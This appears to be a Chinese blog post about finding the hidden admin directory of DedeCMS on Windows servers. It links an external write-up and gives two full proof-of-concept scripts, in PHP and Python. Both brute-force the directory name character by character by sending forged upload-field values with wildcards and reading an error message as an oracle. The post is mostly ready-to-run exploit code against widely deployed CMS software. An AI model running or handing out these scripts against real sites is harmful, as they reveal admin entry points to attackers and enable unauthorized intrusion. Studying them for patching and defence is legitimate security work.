解决DEDECMS历史难题–找后台目录

仅针对windows系统

附原文地址:https://xz.aliyun.com/t/2064

附原理文档

poc:

<?php
$domain='http://localhost/dedecms/';
$url=$domain.'/index.php';
function post($url, $data, $cookie = '') {
    $options = array(
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_HEADER => true,
        CURLOPT_POST => true,
        CURLOPT_SSL_VERIFYHOST => false,
        CURLOPT_SSL_VERIFYHOST => false,
        CURLOPT_COOKIE => $cookie,
        CURLOPT_POSTFIELDS => $data,
    );
    $ch = curl_init($url);
    curl_setopt_array($ch, $options);
    $result = curl_exec($ch);
    curl_close($ch);
    return $result;
}
$testlen=25;
$str=range('a','z');
$number=range(0,9,1);
$dic = array_merge($str, $number);
$n=true;
$nn=true;
$path='';
while($n){
    foreach($dic as $v){
        foreach($dic as $vv){
            #echo $v.$vv .'----';
            $post_data="dopost=save&_FILES[b4dboy][tmp_name]=./$v$vv</images/admin_top_logo.gif&_FILES[b4dboy][name]=0&_FILES[b4dboy][size]=0&_FILES[b4dboy][type]=image/gif";
            $result=post($url,$post_data);
            if(strpos($result,'Upload filetype not allow !') === false){
                $path=$v.$vv;$n=false;break 2;
            }
        }
    }
}
while($nn){
    foreach($dic as $vvv){
        $post_data="dopost=save&_FILES[b4dboy][tmp_name]=./$path$vvv</images/admin_top_logo.gif&_FILES[b4dboy][name]=0&_FILES[b4dboy][size]=0&_FILES[b4dboy][type]=image/gif";
        $result=post($url,$post_data);
        if(strpos($result,'Upload filetype not allow !') === false){
            $path.=$vvv;
            echo $path . PHP_EOL;
            $giturl=$domain.'/'.$path.'/images/admin_top_logo.gif';
            if(@file_get_contents($giturl)){
                echo $domain.'/'.$path.'/';
                $nn=false;break 2;
            }
        }
    }
}
?>
#!/usr/bin/env python
#coding:utf-8
import requests
import string


login_str = string.ascii_letters+string.digits+"_#!"

headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
}

def chek_poc(v,letter):
        if v<=5.6:
                poc= {
                        "dopost":"save",
                        "_FILES[b4dboy][tmp_name]":"./%s</img/admin_top_logo.gif"%letter,
                        "_FILES[b4dboy][name]":0,
                        "_FILES[b4dboy][size]":0,
                        "_FILES[b4dboy][type]":"image/gif",
                        }
        else:
                poc= {
                "dopost":"save",
                "_FILES[b4dboy][tmp_name]":"./%s</images/admin_top_logo.gif"%letter,
                "_FILES[b4dboy][name]":0,
                "_FILES[b4dboy][size]":0,
                "_FILES[b4dboy][type]":"image/gif",
        }
        return poc

def get_login_site(version,url):
        print "Testing.............."
        web_site = ""
        flag = 0
        for l in login_str:
                for i in login_str:
                        poc = chek_poc(version,l+i)
                        print l+i
                        req = requests.post(url,headers=headers,data=poc)
                        if "Upload filetype not allow !" not in req.content and req.status_code == 200:
                                web_site = l+i
                                print "[+ %s]"%web_site
                                flag = 1
                                break
                if flag:
                        break
        for num in range(1,10):
                for u in login_str:
                        poc2 = chek_poc(version,web_site+u)
                        #print web_site+u
                        req2 = requests.post(url,headers=headers,data=poc2)
                        if "Upload filetype not allow !" not in req2.content and req2.status_code == 200:
                                web_site = web_site+u
                                print "[+ %s]"%web_site
                                break

if __name__ == '__main__':
        get_login_site('5.7',"http://127.0.0.1")

 

 

 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值